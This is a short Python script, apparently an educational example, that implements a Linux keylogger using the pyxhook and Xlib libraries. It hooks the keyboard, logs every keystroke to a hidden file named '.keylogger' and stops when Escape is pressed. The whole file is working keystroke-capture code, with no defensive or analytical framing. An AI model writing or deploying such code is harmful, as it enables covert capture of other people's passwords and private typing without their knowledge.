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# Author: OMKAR PATHAK

# This file requires two modules to be installed:

# 1. pyxhook.py: file is provided in the folder itself

# 2. Xlib: sudo pip3 install python3-Xlib

import pyxhook

import time

# functions to write a newline character into the file

def newline():

file = open('.keylogger', 'a')

file.write('\n')

file.close()

# This function is called every time a key is pressed

def key_press_event(event):

global running

# write the key pressed into a file

if event.Key != 'space' and event.Key != 'Escape':

with open('.keylogger', 'a+') as File:

File.write(event.Key)

# If the ascii value matches spacebar, add a newline in the file

if event.Key == 'space':

newline()

# If the ascii value matches escape, terminate the while loop

if event.Key == 'Escape':

running = False

newline()

if __name__ == '__main__':

# Create hookmanager

hookman = pyxhook.HookManager()

# Define our callback to fire when a key is pressed down

hookman.KeyDown = key_press_event

# Hook the keyboard

hookman.HookKeyboard()

# Start our listener

hookman.start()

# Create a loop to keep the application running

running = True

while running:

time.sleep(0.1)

# Close the listener when we are done

hookman.cancel()